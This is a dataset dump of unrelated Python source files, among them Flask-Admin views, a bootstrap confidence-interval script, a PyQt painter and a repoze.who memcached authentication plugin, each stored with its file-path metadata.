self.last_modified_time = None\n self.last_modified_by = None\n self.tasks = kwargs.get('tasks', None)\n","sub_path":"sdk/automation/azure-mgmt-automation/azure/mgmt/automation/models/software_update_configuration_run.py","file_name":"software_update_configuration_run.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"288574943","text":"def print_info(info):\n employee_id = int(input('请输入要查询的元的ID号:'))\n employee_info = info[employee_id]\n employee_list = employee_info.split(',')\n print('ID:{},姓名:{},电话号码:{},城市:{}'.format(employee_id, employee_list[0], employee_list[1], employee_list[2]))\n\n\ndef main():\n employee_information = {1: '张晓,13800000000,武汉', 2: '李明,18500000000,北京', 3: '李浩,13912341234,九江',\n 4: '王华,15890281734,上海'}\n print_info(employee_information)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"text/contacts_1.0.py","file_name":"contacts_1.0.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"246523037","text":"import random\n\nfrom pico2d import *\n\nclass Timer:\n global minute, units_second, tens_second, time_value\n def __init__(self):\n self.time_value = 120\n self.blink = 0\n self.image = load_image('./resource/timer.png')\n self.black_image = load_image('./resource/blackbox.png')\n\n def update(self, time_value):\n self.minute = int(time_value / 60)\n self.units_second = int(time_value % 60 % 10)\n self.tens_second = int(time_value % 60 / 10) % 10\n\n def draw(self):\n self.image.clip_draw(self.minute * 28 + 7, 10, 32, 40, 362, 568)\n self.image.clip_draw(self.units_second * 28 + 7, 10, 32, 40, 440, 568)\n self.image.clip_draw(self.tens_second * 28 + 7, 10, 32, 40, 412, 568)","sub_path":"burger/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"505052835","text":"##############################################################################\n#\n# Copyright (c) 2001 Zope Foundation and Contributors.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE\n#\n##############################################################################\n\nimport AccessControl\nimport OFS\nfrom AccessControl.class_init import InitializeClass\nfrom App.special_dtml import DTMLFile\nfrom OFS.role import RoleManager\n\nfrom . import Version\n\n\nclass ZopeVersion(Version.Version, RoleManager, OFS.SimpleItem.Item):\n \"\"\"The ZopeVersion class builds on the core Version class to provide\n the Zope management interface and other product trappings.\"\"\"\n\n security = AccessControl.ClassSecurityInfo()\n security.setDefaultAccess('deny')\n\n meta_type = 'Version'\n\n manage_options = (\n ({'label': 'Information', 'action': 'manage_main',\n 'help': ('ZopeVersionControl', 'Version-Manage.stx')},\n {'label': 'Properties', 'action': 'manage_properties_form',\n 'help': ('ZopeVersionControl', 'Version-Properties.stx')},\n ) +\n RoleManager.manage_options +\n OFS.SimpleItem.Item.manage_options\n )\n\n icon = 'misc_/ZopeVersionControl/Version.gif'\n\n security.declareProtected('View management screens', 'manage_main')\n manage_main = DTMLFile('dtml/VersionManageMain', globals())\n manage_main._setName('manage_main')\n manage = manage_main\n\n security.declareProtected(\n 'View management screens', 'manage_properties_form'\n )\n manage_properties_form = DTMLFile('dtml/VersionProperties', globals())\n\n @security.protected('Manage repositories')\n def manage_edit(self, REQUEST=None):\n \"\"\"Change object properties.\"\"\"\n if REQUEST is not None:\n message = \"Saved changes.\"\n return self.manage_properties_form(\n self, REQUEST, manage_tabs_message=message\n\n )\n\n\nInitializeClass(ZopeVersion)\n","sub_path":"src/Products/ZopeVersionControl/ZopeVersion.py","file_name":"ZopeVersion.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"550102772","text":"import os\nimport os.path as op\nfrom base64 import b64encode\nfrom datetime import datetime\n\nfrom flask import abort, redirect, request, url_for\n\nfrom flask_security import current_user\n\nfrom flask_admin.contrib.sqla import ModelView\nfrom flask_admin.model.form import InlineFormAdmin\nfrom flask_admin.form.upload import ImageUploadField, FileUploadField\nfrom markupsafe import Markup\n\nfrom backend.models import BuildingImage, BuildingNumberFact, BuildingTextFact, ArchitectFact, ElementPlace, \\\n ElementExample, Style\nfrom backend.fields import CKTextAreaField\n\nimages_path = op.join(op.dirname(__file__), '../images/uploads')\n\n\nclass CustomModelView(ModelView):\n def _handle_view(self, name, **kwargs):\n if not self.is_accessible():\n if current_user.is_authenticated:\n abort(403)\n else:\n return redirect(url_for('security.login', next=request.url))\n\n\ndef is_accessible(role):\n if not current_user.is_active or not current_user.is_authenticated:\n return False\n\n if current_user.has_role(role):\n return True\n return False\n\n\nclass SuperuserModelView(CustomModelView):\n def is_accessible(self):\n return is_accessible('superuser')\n\n\nclass UserModelView(CustomModelView):\n def is_accessible(self):\n return is_accessible('user')\n\n\ndef gen_filename(filename):\n ext = filename.split('.')[-1]\n filename = b64encode(str(datetime.now()).encode()).decode() + '.' + ext\n return filename\n\n\nclass BuildingImageView(InlineFormAdmin):\n form_overrides = {\n 'path': ImageUploadField,\n }\n form_args = {\n 'path': {\n 'base_path': images_path,\n 'url_relative_path': 'images/uploads/',\n 'namegen': lambda u, v: gen_filename(v.filename),\n }\n\n }\n\n\nclass BuildingView(UserModelView):\n column_default_sort = 'title'\n column_searchable_list = ('title',)\n column_list = (\n 'title',\n 'year_build_start',\n 'year_build_end',\n 'address',\n 'station',\n 'district',\n )\n\n column_sortable_list = (\n ('station', 'station.name'),\n ('district', 'district.name'),\n 'title',\n 'year_build_start',\n 'year_build_end',\n 'address'\n )\n\n column_formatters = {\n 'station': lambda v, c, m, name: Markup('{}'\n .format(m.station.id, m.station.name)) if m.station else '',\n 'district': lambda v, c, m, name: Markup('{}'\n .format(m.district.id, m.district.name)) if m.district else '',\n 'title': lambda v, c, m, name: Markup('{}'\n .format(m.id, m.title))\n\n }\n\n form_overrides = {\n 'text': CKTextAreaField,\n 'leading_img_path': ImageUploadField,\n }\n\n form_args = {\n 'leading_img_path': {\n 'base_path': images_path,\n 'url_relative_path': 'images/uploads/',\n 'namegen': lambda u, v: gen_filename(v.filename),\n }\n }\n\n inline_models = (BuildingTextFact,\n BuildingNumberFact,\n BuildingImageView(BuildingImage))\n\n create_template = 'admin/create.html'\n edit_template = 'admin/edit.html'\n\n\nclass ArchitectView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'surname',\n 'name',\n 'patronymic',\n 'born',\n 'died'\n )\n\n inline_models = (ArchitectFact,)\n\n create_template = 'admin/create.html'\n edit_template = 'admin/edit.html'\n\n form_overrides = {\n 'img_path': ImageUploadField,\n 'square_img': ImageUploadField,\n 'landscape_img': ImageUploadField,\n 'portrait_img': ImageUploadField,\n\n 'text': CKTextAreaField\n }\n\n column_formatters = {\n 'surname': lambda v, c, m, name: Markup('{}'\n .format(m.id, m.surname))\n }\n\n _img_args = {\n 'base_path': images_path,\n 'url_relative_path': '/images/uploads/',\n 'namegen': lambda u, v: gen_filename(v.filename),\n }\n\n form_args = {\n 'img_path': _img_args,\n 'square_img': _img_args,\n 'landscape_img': _img_args,\n 'portrait_img': _img_args,\n }\n\n\ndef image_column_formatter(_id, path, big=False):\n return Markup(''\n ''\n ''\n .format(_id, '/images/uploads/' + path, '75%' if big else '30%'))\n\n\nclass ElementExampleView(InlineFormAdmin):\n form_overrides = {\n 'img_path': ImageUploadField,\n }\n form_args = {\n 'img_path': {\n 'base_path': images_path,\n 'url_relative_path': 'images/uploads/',\n 'namegen': lambda u, v: gen_filename(v.filename),\n }\n\n }\n\nclass ElementView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'date',\n 'img_path'\n )\n\n inline_models = (ElementPlace, ElementExampleView(ElementExample))\n\n form_overrides = {\n 'text': CKTextAreaField,\n 'img_path': FileUploadField\n }\n\n form_args = {\n 'img_path': {\n 'namegen': lambda u, v: gen_filename(v.filename),\n 'base_path': images_path,\n }\n }\n\n column_formatters = {\n 'img_path': lambda v, c, m, name: image_column_formatter(m.id, m.img_path),\n 'name': lambda v, c, m, name: Markup('{}'\n .format(m.id, m.name))\n }\n\n create_template = 'admin/create.html'\n edit_template = 'admin/edit.html'\n\n\nclass StyleView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'date',\n 'building_img_path',\n 'door_handle_img_path',\n 'column_img_path',\n 'previous',\n 'following'\n )\n\n column_sortable_list = (\n 'name',\n 'date',\n 'building_img_path',\n 'door_handle_img_path',\n 'column_img_path',\n 'previous',\n 'following'\n )\n\n form_overrides = {\n 'text': CKTextAreaField,\n 'building_img_path': FileUploadField,\n 'column_img_path': FileUploadField,\n 'door_handle_img_path': FileUploadField,\n }\n\n _img_args = {\n 'namegen': lambda u, v: gen_filename(v.filename),\n 'base_path': images_path,\n }\n\n form_args = {\n 'building_img_path': _img_args,\n 'door_handle_img_path': _img_args,\n 'column_img_path': _img_args\n }\n\n column_formatters = {\n 'building_img_path': lambda v, c, m, name: image_column_formatter(m.id, m.building_img_path, big=True),\n 'door_handle_img_path': lambda v, c, m, name: image_column_formatter(m.id, m.door_handle_img_path),\n 'column_img_path': lambda v, c, m, name: image_column_formatter(m.id, m.column_img_path),\n 'name': lambda v, c, m, name: Markup('{}'.format(m.id, m.name)),\n 'previous': lambda v, c, m, name: Markup('{}'\n .format(m.previous.id, m.previous.name) if m.previous else ''),\n 'following': lambda v, c, m, name: Markup('{}'\n .format(m.following.id, m.following.name) if m.following else ''),\n\n }\n\n create_template = 'admin/create.html'\n edit_template = 'admin/edit.html'\n\n\nclass MetroStationView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'district',\n )\n\n column_sortable_list = (\n 'name',\n ('district', 'district.name'),\n )\n column_formatters = {\n 'name': lambda v, c, m, name: Markup('{}'.format(m.id, m.name)),\n 'district': lambda v, c, m, name: Markup('{}'.format(m.district.id, m.district.name)),\n }\n\n\nclass DistrictView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'region',\n )\n\n column_sortable_list = (\n 'name',\n ('region', 'region.name'),\n )\n\n column_formatters = {\n 'name': lambda v, c, m, name: Markup('{}'.format(m.id, m.name)),\n 'region': lambda v, c, m, name: Markup('{}'.format(m.region.id, m.region.name)),\n }\n\n\nclass RegionView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'abbr',\n )\n\n column_formatters = {\n 'name': lambda v, c, m, name: Markup('{}'.format(m.id, m.name)),\n }\n\n\nclass MetroRouteView(UserModelView):\n column_default_sort = 'name'\n column_searchable_list = ('name',)\n column_list = (\n 'name',\n 'color',\n )\n\n column_formatters = {\n 'name': lambda v, c, m, name: Markup('{}'.format(m.id, m.name)),\n 'color': lambda v, c, m, name: Markup(''\n '
    '\n '
    '\n '
    '\n .format(m.id, m.color))\n }\n\n\nclass UserView(SuperuserModelView):\n column_exclude_list = ('password',)\n","sub_path":"backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"388988531","text":"#Script to compute the error bounds in R2 and MUE\nimport numpy as np\nimport scipy.stats\nimport glob\nimport sys\n\n\ndef compute_intervals(absolute, relative):\n #deal with the csv files\n abs_val, rel_val = read_subdata(absolute, relative)\n #now compute the errors\n compute_errors(abs_val, rel_val)\n\ndef read_subdata(absolute, relative):\n #open the absolute\n f = open(absolute, 'r')\n lines = f.readlines()\n abs_val = []\n for l in lines:\n val = float(l.split(\",\")[1])\n err = float(l.split(\",\")[2])\n abs_val.append(np.array([val,err]))\n f.close()\n\n abs_val = np.array(abs_val)\n #now do the same with the relative\n f = open(relative, 'r')\n lines = f.readlines()\n rel_val = []\n for l in lines:\n val = float(l.split(\",\")[1])\n err = float(l.split(\",\")[2])\n rel_val.append(np.array([val,err]))\n f.close()\n rel_val = np.array(rel_val)\n #print values\n print(\"Absolute free energies...\")\n print(abs_val)\n print(\"Relative free energies...\")\n print(rel_val)\n return (abs_val, rel_val)\n\n\ndef compute_errors(absolute, relative):\n r_dist = []\n mue_dist = []\n rsqrt_dist = []\n #now we are going to bootstrap each relative values, by using its error\n for i in range(1000):\n #here we take our relative values along with their erros and we\n #extract a new value by taking a random gaussian number between val-err\n relative_new = perturb(relative)\n #compute R2\n rsqrt,r = calculate_R2(relative_new[:,0],absolute[:,0])\n #compute MUE\n mue = calculate_mue(relative_new[:,0],absolute[:,0])\n mue_dist.append(mue)\n r_dist.append(r)\n rsqrt_dist.append(rsqrt)\n\n rsqrt_dist = np.array(rsqrt_dist)\n r_dist = np.array(r_dist)\n mue_dist = np.array(mue_dist)\n #now we need to know what are the max error bounds for r, r2 and mue\n #based on a 95% confidence interval\n (r_min, r_mean, r_max) = get_error_bounds(r_dist)\n (rsqrt_min, rsqrt_mean, rsqrt_max) = get_error_bounds(rsqrt_dist)\n (mue_min, mue_mean, mue_max) = get_error_bounds(mue_dist)\n print (\"Observables are:\")\n print (\"R: %f < %f < %f \" % (r_min, r_mean, r_max))\n print (\"Rsqrt: %f < %f < %f \" % (rsqrt_min, rsqrt_mean, rsqrt_max))\n print (\"mue: %f < %f < %f \" % (mue_min, mue_mean, mue_max))\n\n #write everything on a files\n outputfile = open(\"errorbounds.dat\",\"w\")\n outputfile.write(\"R: %f < %f < %f\\n\" % (r_min, r_mean, r_max))\n outputfile.write(\"Rsqrt: %f < %f < %f\\n\" % (rsqrt_min, rsqrt_mean, rsqrt_max))\n outputfile.write(\"mue: %f < %f < %f\\n\" % (mue_min, mue_mean, mue_max))\n outputfile.close()\n\n\ndef perturb(data):\n r\"\"\" generates new set of data based on gauss distribution\n Parameters\n ----------\n data : nd.array(shape(datapoints,2))\n first column holding actual data, second error on data\n\n \"\"\"\n repeat = np.zeros(np.shape(data))\n\n count = 0\n for d in data:\n val = d[0]\n err = d[1]\n if err != 0.0:\n #print(val,err)\n val2 = np.random.normal(val, err)\n else:\n val2 = val\n repeat[count][0] = val2\n repeat[count][1] = err\n count = count + 1\n\n return repeat\n\n\ndef calculate_R2 ( series1, series2 ):\n r_value,p = scipy.stats.pearsonr(series1,series2)\n\n return r_value**2, r_value\n\n\ndef calculate_mue( series1, series2 ):\n\n sumdev = 0.0\n for x in range(0,len(series1)):\n sumdev += abs( series1[x] - series2[x] )\n sumdev /= len(series1)\n\n #print sumdev\n return sumdev\n\n\ndef get_error_bounds(data):\n #we will have a distribution of values for r,r2 and mue, thus from here we\n #can assess the max and min error based on 95% CI\n n = data.shape[0]\n #take the mean\n mean = np.mean(data)\n data_sorted = np.sort(data)\n #now from the distribution, sorted, compute the 5% and 95% values - basically\n #we are splitting the distribution at 5% and 95%\n x1= int(np.floor(0.05*n))\n x2= int(np.ceil(0.95*n))\n #so from here we will have the lower and upper bound\n lower_bound = data_sorted[x1]\n upper_bound = data_sorted[x2]\n return (lower_bound, mean, upper_bound)\n\n\n\nif __name__ == '__main__':\n print (\"========Analysis==========\")\n print (\"++++++++++++++Protocol+++++++++++++++++\")\n #take abs and relative csv inputfiles\n absolute = sys.argv[1]\n relative = sys.argv[2]\n #go!\n compute_intervals(absolute, relative)\n","sub_path":"report/statistics/TDion/isobox/TDion/confidence_interval.py","file_name":"confidence_interval.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"545552600","text":"\n\nfrom xai.brain.wordbase.nouns._evidence import _EVIDENCE\n\n#calss header\nclass _EVIDENCING(_EVIDENCE, ):\n\tdef __init__(self,): \n\t\t_EVIDENCE.__init__(self)\n\t\tself.name = \"EVIDENCING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"evidence\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_evidencing.py","file_name":"_evidencing.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"571865663","text":"import random\n\n\ndef m1(*number):\n # total = 0\n # for i in number:\n # total = total + i\n #\n # print(total)\n\n m2(*number)\n\n print(\"-\"*20)\n\ndef m2(*number):\n total = 0\n for i in number:\n total = total + i\n\n print(total)\n\n\n\ndef m3():\n a = [1, 2, 0]\n num = random.choice(a)\n print(\"被除术 \",num)\n return num\n\ndef m4():\n a = [1, 2, 0]\n\n retry_numbers=0\n\n while retry_numbers<10:\n num = random.choice(a)\n print(\"选取的随机数 \", num)\n\n # 随机数为0, 则停止循环\n if num==0:\n return num\n\n retry_numbers +=1\n\n\nif __name__ == '__main__':\n\n m4()\n\n # m1(1, 2, 3, 4)\n\n # try:\n # for i in range(10):\n # print(i)\n # print(i/m3())\n # except Exception as e:\n # print(e)\n\n #\n # for i in range(10):\n # try:\n # print(i/m3())\n # except Exception as e:\n # print(e)\n","sub_path":"test/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"287807016","text":"# To add a new process, copy/paste the following line and change the name of the Queue \n# process_Template = ProcessQueue(maxsize=0)\n\n\n\nimport Core.database as database\nfrom datetime import datetime, date, time, timedelta\n\nclass Alert(object):\n\n\tdef __init__(self, userConfigurationName, name, description):\n\t\t\n\t\tself.userConfigurationName = userConfigurationName\n\t\tself.name = name\n\t\tself.description = description\n\n\n\n\tdef checkAndSendAlert(self): #Check if you have to send the alert\n\t\ttry: #Exception if the last measure is too old\n\t\t\tminMaxConfiguration = database.databaseAlert.getUserConfiguration(self.userConfigurationName)\n\t\t\tminMax = minMaxConfiguration[4].split(':', 1 )\n\t\t\t\n\t\t\tminAlert = float(minMax[0]) #Interval min\n\t\t\tmaxAlert = float(minMax[1]) #Interval max\n\t\t\tlastMeasure = database.databaseAlert.getLastMeasureByHardwareConfigurationId(minMaxConfiguration[2])\n\t\t\t\n\t\t\ttimestamp = str(lastMeasure[2])\n\t\t\tvalue = lastMeasure[0]\n\t\t\t\n\t\t\tdateLastMeasure = datetime.strptime(timestamp, \"%Y-%m-%d %H:%M:%S\") #Get the last measure date\n\t\t\t\n\t\t\tif(dateLastMeasure > datetime.now() + timedelta(days=-1)):\t\n\t\t\t\tif(value > maxAlert): # If the value is over the interval max\n\t\t\t\t database.databaseAlert.addAlertIfNotExist(self.name, self.description + ' too high', minMaxConfiguration[2])\n\t\t\t\n\t\t\t\telif(value < minAlert): # If the value is under the interval min\n\t\t\t\t #print(\"Nom : \"+str(self.userConfigurationName)+\" Min :\" + str(minAlert)+\" Value \"+ str(value) + \" Date \" + str(dateLastMeasure))\n\t\t\t\t database.databaseAlert.addAlertIfNotExist(self.name, self.description + ' too low', minMaxConfiguration[2])\n\n\t\texcept:\n\t\t\tprint(\"Last measure is too old to show alert\")\n\t\t\tpass\n","sub_path":"Trunk/Core/alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"62760796","text":"import sys\r\nfrom PyQt5.QtWidgets import (QApplication, QDesktopWidget)\r\nfrom base import (BaseApplication, Desk)\r\n\r\nclass IsometricPainter(BaseApplication):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def initUI(self):\r\n\r\n self.setWindowTitle('Isometric-Painter')\r\n\r\n self.resize(self.windowWidth, self.windowHeight)\r\n center_point = QDesktopWidget().availableGeometry().center()\r\n self.frameGeometry().moveCenter(center_point)\r\n\r\n self.initMenu()\r\n self.initToolbar()\r\n\r\n self.desk = Desk(self)\r\n\r\n self.initStatusbar()\r\n self.show()\r\n\r\nif __name__ == '__main__':\r\n\r\n app = QApplication(sys.argv)\r\n ip = IsometricPainter()\r\n sys.exit(app.exec_())\r\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"616843895","text":"from typing import List\n\n\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n nums.sort()\n i, j = 0, len(nums) - 1\n while i < j:\n _sum = nums[i] + nums[j]\n if _sum == target:\n ans = [i, j]\n return ans\n elif _sum > target:\n j -= 1\n else:\n i += 1\n return False\n\n\nif __name__ == \"__main__\":\n assert Solution().twoSum([2, 7, 11, 15], 9) == [0, 1]","sub_path":"tasks/task01/task01_02.py","file_name":"task01_02.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"555060500","text":"#\n\"\"\"\nA Plugin that allows you to use memcached as an IAuthentication and IIdentifier plugins for repoze.who. This system will store all user information in the cache of a system and is completely standalone. This is for use in systems where loss of user identification is low impact and presents no challeneges to the usage if that occurs.\n\"\"\"\n\nimport logging\nimport memcache\nimport time\nimport datetime\nfrom wsgiref.handlers import _monthname # Locale-independent, RFC-2616\nfrom wsgiref.handlers import _weekdayname # Locale-independent, RFC-2616\n\nfrom zope.interface import implementer\n\nfrom repoze.who.interfaces import IIdentifier\nfrom repoze.who.interfaces import IAuthenticator\n\nfrom repoze.who._compat import get_cookies\n\nfrom requests.exceptions import ConnectionError\n\nlogger = logging.getLogger(__name__)\n\n_UTCNOW = None # unit tests can replace\ndef _utcnow(): #pragma NO COVERAGE\n if _UTCNOW is not None:\n return _UTCNOW\n return datetime.datetime.utcnow()\n\n@implementer(IIdentifier, IAuthenticator)\nclass MemcachedPlugin(object):\n\tdef __init__(\tself,\n\t\t\t\t\thosts='127.0.0.1:11211',\n\t\t\t\t\tcookie_name='mc_tkt',\n\t\t\t\t\ttimeout=None, \n\t\t\t\t\treissue_time=None,\n\t\t\t\t\tdebug=0):\n\t\t\n\t\tif not hosts:\n\t\t\traise ValueError('You must specify a Memcached Host string to connect to')\n\t\t\n\t\ttry:\n\t\t\tself.mc = memcache.Client([hosts], debug=debug)\n\t\texcept Exception as e:\n\t\t\tlogger.error('Exception trying to establish Memcache connection')\n\t\t\traise ConnectionError('Could not connect to the memcache server. Please check the provided host and try again')\n\n\t\tself.cookie_name = cookie_name\n\t\tif timeout and ( (not reissue_time) or (reissue_time > timeout) ):\n\t\t\traise ValueError('When timeout is specified, reissue_time must '\n\t\t\t\t\t\t\t 'be set to a lower value')\n\t\tself.timeout = timeout\n\t\tself.reissue_time = reissue_time\n\n\t# IIdentifier\n\tdef identify(self, environ):\n\t\t#get the cookie from the environment if it exsits\n\t\tcookies = get_cookies(environ)\n\t\tcookie = cookies.get(self.cookie_name)\n\n\t\t#check if it is not null\n\t\tif cookie is None or not cookie.value:\n\t\t\treturn None\n\n\t\ttry:\n\t\t\t#Use the cookie to get the users id from memcache\n\t\t\tuser = self.mc.get(cookie.value)\n\t\texcept Exception as e:\n\t\t\tlogger.error('Exception getting user from memcache: {0}'.format(e))\n\t\t\treturn None\n\n\t\t#check if user exists\n\t\tif not user:\n\t\t\treturn None\n\n\t\t#logger.debug('Got User Object: {0}'.format(user))\t\t\n\t\t\n\t\t#check if user has timed out credentials\n\t\tif self.timeout and ( (user.get('timestamp', 0) + self.timeout) < time.time() ):\n\t\t\treturn None\n\n\t\t#if user is valid and their creds haven't timed out then set environ and return the user data\n\t\tenviron['REMOTE_USER_DATA'] = user\n\t\tenviron['AUTH_TYPE'] = 'memcached'\n\n\t\treturn user\n\n\t# IIdentifier\n\tdef forget(self, environ, identity):\n\t\tlogger.debug('Forget - repoze.who')\n\t\t#get the cookie and delete it's key & data from memcache\n\t\tcookies = get_cookies(environ)\n\t\tcookie = cookies.get(self.cookie_name)\n\n\t\tif cookie and cookie.value:\n\t\t\tself.mc.delete(cookie.value)\n\t\t\tlogger.debug('Forgetting cookie: {0}'.format(cookie.value))\n\n\t\t# return a set of expires Set-Cookie headers\n\t\treturn self._get_cookies(environ, 'INVALID', 0)\n\t\n\t# IIdentifier\n\tdef remember(self, environ, identity):\n\t\tcookies = get_cookies(environ)\n\t\tcookie = cookies.get(self.cookie_name)\n\t\tmax_age = identity.get('max_age', None)\n\t\t#if no timestamp then set to 0 as earliest to can be reissued\n\t\ttimestamp = 0\n\n\t\told_user = {}\n\t\t#get users data from memcache and compare it to new data received\n\t\tif cookie and cookie.value:\n\t\t\told_user = self.mc.get(cookie.value)\n\t\t\tlogger.debug('Cookie val: {0}'.format(cookie.value))\n\t\telse:\n\t\t\tlogger.debug('No Old Cookie')\n\n\t\tlogger.debug('Got Old User: {0}'.format(old_user))\n\n\t\tif not old_user:\n\t\t\told_user = {}\n\n\t\ttimestamp = old_user.get('timestamp', 0)\n\t\t\n\t\t#get the users IP address to be stored\n\t\tusers_ip = environ['REMOTE_ADDR'] or old_user.get('ip')\n\n\t\t#get the new users data, or if blank, use the new users\n\t\tnew_user_data = identity.get('userdata', {})\n\t\tlogger.debug('Remembering userdata: {0}'.format(new_user_data))\n\t\tnew_user_altid = identity.get('repoze.who.userid')\n\t\tnew_user_given = new_user_data.get('givenName', old_user.get('given'))\n\t\tnew_user_sn = new_user_data.get('sn', old_user.get('sn'))\n\t\tnew_user_uid = new_user_data.get('uid', old_user.get('uid'))\n\t\tnew_user_ip = users_ip\n\t\t\n\t\told_user_altid = old_user.get('altid')\n\t\told_user_given = old_user.get('given')\n\t\told_user_sn = old_user.get('sn')\n\t\told_user_uid = old_user.get('uid')\n\t\told_user_ip = old_user.get('ip')\n\t\t\n\t\t#build objects to compare\n\t\told_data = (old_user_altid, old_user_given, old_user_sn, old_user_uid)\n\t\tnew_data = (new_user_altid, new_user_given, new_user_sn, new_user_uid)\n\t\tdata_diff = old_data != new_data\n\t\treissue = self.reissue_time and ((timestamp + self.reissue_time) < time.time())\n\t\t#TODO: Is it better to change userdata if it changes but keep key until timeout, then only \n\t\t#TODO-cont: reissue once timeout is reached?\n\t\t#if new data or reissue time is reached, then create new timestamp and store data\n\t\tif data_diff or reissue:\n\t\t\tlogger.debug('Data Diff: {0} ::: Reissue: {1}'.format(data_diff, reissue))\n\t\t\t#get a new hash for the new cookie\n\t\t\tnew_cookie_value = self._get_hash()\n\t\t\t#delete the old cookie's data from memcache\n\t\t\tif cookie and cookie.value:\n\t\t\t\tself.mc.delete(cookie.value)\n\n\t\t\tlogger.debug('Old Userdata: {0}'.format(old_data))\n\t\t\tlogger.debug('New Userdata: {0}'.format(new_data))\n\n\t\t\t#add the new data for the new cookie\n\t\t\tnew_user = {}\n\t\t\tnew_user['timestamp'] = time.time()\n\t\t\tnew_user['altid'] = new_user_altid\n\t\t\tnew_user['uid'] = new_user_uid\n\t\t\tnew_user['given'] = new_user_given\n\t\t\tnew_user['sn'] = new_user_sn\n\t\t\tnew_user['ip'] = new_user_ip\n\t\t\tlogger.debug('Saving new user {0} ::: {1}'.format(new_cookie_value, new_user))\n\t\t\tself.mc.set(new_cookie_value, new_user)\n\n\t\t\t# return a set of Set-Cookie headers\n\t\t\treturn self._get_cookies(environ, new_cookie_value, max_age)\n\n\t# IAuthenticator\n\tdef authenticate(self, environ, identity):\n\t\tuserid = identity.get('altid', None)\n\t\tif userid is None:\n\t\t\treturn None\n\t\tidentity['repoze.who.userid'] = userid\n\t\treturn userid\n\n\tdef _get_cookies(self, environ, value, max_age=None):\n\t\tmax_age = max_age or self.timeout\n\t\tif max_age is not None:\n\t\t\tmax_age = int(max_age)\n\t\t\tlater = _utcnow() + datetime.timedelta(seconds=max_age)\n\t\t\t# Wdy, DD-Mon-YY HH:MM:SS GMT\n\t\t\texpires = \"%s, %02d %3s %4d %02d:%02d:%02d GMT\" % (\n\t\t\t\t_weekdayname[later.weekday()],\n\t\t\t\tlater.day,\n\t\t\t\t_monthname[later.month],\n\t\t\t\tlater.year,\n\t\t\t\tlater.hour,\n\t\t\t\tlater.minute,\n\t\t\t\tlater.second,\n\t\t\t)\n\t\t\t# the Expires header is *required* at least for IE7 (IE7 does\n\t\t\t# not respect Max-Age)\n\t\t\tmax_age = \"; Max-Age=%s; Expires=%s\" % (max_age, expires)\n\t\telse:\n\t\t\tmax_age = ''\n\n\t\tsecure = '; secure; HttpOnly'\n\n# I am not sure we need to set these here.... removing them for now\n\t\tcur_domain = environ.get('HTTP_HOST', environ.get('SERVER_NAME'))\n\t\tcur_domain = cur_domain.split(':')[0] # drop port\n\t\twild_domain = '.' + cur_domain\n#\t\tcookies = [\n#\t\t\t\t('Set-Cookie', '{0}=\"{1}\"; Path=/{2}{3}'.format(self.cookie_name, value, max_age, secure))\n#\t\t\t]\n\n\t\tcookies = [\n\t\t\t('Set-Cookie', '%s=\"%s\"; Path=/%s%s' % (\n\t\t\tself.cookie_name, value, max_age, secure))\n#\t\t\t,('Set-Cookie', '%s=\"%s\"; Path=/; Domain=%s%s%s' % (\n#\t\t\tself.cookie_name, value, cur_domain, max_age, secure))\n#\t\t\t,('Set-Cookie', '%s=\"%s\"; Path=/; Domain=%s%s%s' % (\n#\t\t\tself.cookie_name, value, wild_domain, max_age, secure))\n\t\t\t]\n\t\treturn cookies\n\n\tdef _get_hash(self):\n\t\treturn self._get_random();\n\n\tdef _get_random(self):\n\t\timport os\n\t\treturn ''.join(str(x) for x in map(ord,os.urandom(20)))\t\t\n\t\n\tdef 